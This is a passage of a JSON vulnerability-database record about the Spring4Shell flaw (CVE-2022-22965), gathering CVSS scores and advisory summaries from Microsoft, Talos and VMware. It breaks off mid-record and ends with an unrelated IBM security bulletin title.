"https://www.trendmicro.com/en_us/research/22/d/cve-2022-22965-analyzing-the-exploitation-of-spring4shell-vulner.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "msrc": [{"lastseen": "2023-06-14T15:26:47", "description": "Summary Summary Microsoft used the Spring Framework RCE, Early Announcement to inform analysis of the remote code execution vulnerability, CVE-2022-22965, disclosed on 31 Mar 2022. We have not to date noted any impact to the security of our enterprise services and have not experienced any degraded service availability due to this vulnerability.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-05T07:00:00", "type": "msrc", "title": "Microsoft\u2019s Response to CVE-2022-22965 Spring Framework", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-05T07:00:00", "id": "MSRC:68FA6D02FA64FF61F41A7B1A8E364197", "href": "/blog/2022/04/microsofts-response-to-cve-2022-22965-spring-framework/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-14T15:26:47", "description": "\u672c\u30d6\u30ed\u30b0\u306f\u3001Microsoft\u2019s Response to CVE-2022-22965 Spring Framework \u306e\u6284\u8a33\u7248\u3067\u3059\u3002\u6700\u65b0\u306e\u60c5\u5831\u306f\u539f\u6587\u3092\u53c2\u7167\u3057\u3066\u304f\u3060\u3055\u3044\u3002 \u6982\u8981 \u6982", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-05T07:00:00", "type": "msrc", "title": "CVE-2022-22965 Spring Framework \u306b\u5bfe\u3059\u308b\u30de\u30a4\u30af\u30ed\u30bd\u30d5\u30c8\u306e\u5bfe\u5fdc", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-05T07:00:00", "id": "MSRC:4016FF02733260CBC5200B5091666FD4", "href": "/blog/2022/04/microsofts-response-to-cve-2022-22965-spring-framework-jp/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-04-08T19:45:16", "description": "Summary Microsoft used the Spring Framework RCE, Early Announcement to inform analysis of the remote code execution vulnerability, CVE-2022-22965, disclosed on 31 Mar 2022. We have not to date noted any impact to the security of our enterprise services and have not experienced any degraded service availability due to this vulnerability. Threat analysis of the \u2026\n\n[ Microsoft\u2019s Response to CVE-2022-22965 Spring Framework Read More \u00bb](<https://msrc-blog.microsoft.com/2022/04/05/microsofts-response-to-cve-2022-22965-spring-framework/>)", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-05T23:41:01", "type": "msrc", "title": "Microsoft\u2019s Response to CVE-2022-22965 Spring Framework", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-05T23:41:01", "id": "MSRC:A49EE2D875C0E490BD326B3CDDB7399F", "href": "https://msrc-blog.microsoft.com/2022/04/05/microsofts-response-to-cve-2022-22965-spring-framework/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-22T16:39:48", "description": "Summary Summary Microsoft used the Spring Framework RCE, Early Announcement to inform analysis of the remote code execution vulnerability, CVE-2022-22965, disclosed on 31 Mar 2022. We have not to date noted any impact to the security of our enterprise services and have not experienced any degraded service availability due to this vulnerability.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-05T07:00:00", "type": "msrc", "title": "Microsoft\u2019s Response to CVE-2022-22965 Spring Framework", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-05T07:00:00", "id": "MSRC:6DA934C9E783C787D408548AA6F1CEC3", "href": "https://msrc.microsoft.com/blog/2022/04/microsofts-response-to-cve-2022-22965-spring-framework/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "talosblog": [{"lastseen": "2022-04-08T19:36:04", "description": "UPDATE, APRIL 4, 2022: The Kenna Risk Score for CVE-2022-22965 is currently at maximum 100. This is an exceptionally rare score, of which only 415 out of 184,000 CVEs (or 0.22 percent) have achieved, reflecting the severity and potential effects of this vulnerability. To get a risk score this high... \n \n[[ This is only the beginning! Please visit the blog for the complete entry ]]", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-04T10:26:10", "type": "talosblog", "title": "Threat Advisory: Spring4Shell", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-04T10:26:10", "id": "TALOSBLOG:3587BB077717B0512A9D0EFCCBE8770B", "href": "http://blog.talosintelligence.com/2022/03/threat-advisory-spring4shell.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "vmware": [{"lastseen": "2022-04-14T16:19:16", "description": "**IMPORTANT See the Notes section if prior to April 6, 3 PM PST you have updated TAS or Ops Manager or you have applied workarounds to TAS, Ops Manager or TKGi.**\n\n##### **1\\. Impacted Products**\n\n * VMware Tanzu Application Service for VMs (TAS) \n\n * VMware Tanzu Operations Manager (Ops Manager) \n\n * VMware Tanzu Kubernetes Grid Integrated Edition (TKGI)\n\n##### **2\\. Introduction**\n\nA critical vulnerability in Spring Framework project identified by CVE-2022-22965 has been publicly disclosed which impacts VMware products. \n\n\n##### **3\\. Problem Description**\n\n**Description**\n\nMultiple products impacted by remote code execution vulnerability (CVE-2022-22965).\n\n**Known Attack Vectors**\n\nA malicious actor with network access to an impacted VMware product may exploit this issue to gain full control of the target system.\n\n**Resolution**\n\nFixes for CVE-2022-22965 are documented in the 'Fixed Version' column of the 'Response Matrix' below.\n\n**Workarounds**\n\nWorkarounds for CVE-2022-22965 are documented in the 'Workarounds' column of the 'Response Matrix' below.\n\n**Additional Documentation**\n\nNone.\n\n**Notes**\n\n * **2022-04-04:** At the time of this publication, VMware has reviewed its product portfolio and found that the products listed in this advisory are affected. VMware continues to investigate this vulnerability, and will update the advisory should any changes evolve.\n * **2022-04-06:** VMware is aware of reports that exploitation of CVE-2022-22965 has occurred in the wild. \n**2022-04-06:** Customers that have applied the workaround for TAS, Ops Manager, or TKGI prior to April 6, 3 PM PST will need to reapply the workaround. The new workaround instructions now use UAA 74.5.37 which properly addresses CVE-2022-22965.\n * **2022-04-06:** Customers that have updated to TAS 2.10.29, 2.11.17, 2.12.10 or 2.13.1 will need to update to the TAS versions listed in this advisory. The patched versions now listed in this advisory ship with UAA 74.5.37 which properly addresses CVE-2022-22965.\n * **2022-04-06:** Customers that have updated to Ops Manager 2.8.20, 2.9.35 or 2.10.35 are advised to deploy the workaround as no version for Ops Manager is yet available that addresses CVE-2022-22965.\n * **2022-04-07:** \nCustomers that have updated to Ops Manager 2.8.20, 2.9.35 or 2.10.35 will need to update to the Ops Manager versions listed in this advisory. The patched versions now listed in this advisory ship with UAA 74.5.37 which properly addresses CVE-2022-22965.\n * **2022-04-08:** Investigations have concluded, and the list of affected VMware products contained in the 'Response Matrix' below is complete.\n\n**Acknowledgements**\n\nNone.\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-02T00:00:00", "type": "vmware", "title": "VMware Response to Spring Framework Remote Code Execution Vulnerability (CVE-2022-22965)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired":
Security Bulletin: IBM Watson Discovery for IBM Cloud Pak for Data is affected by a remote code execution in Spring Framework (CVE-2022-22965)
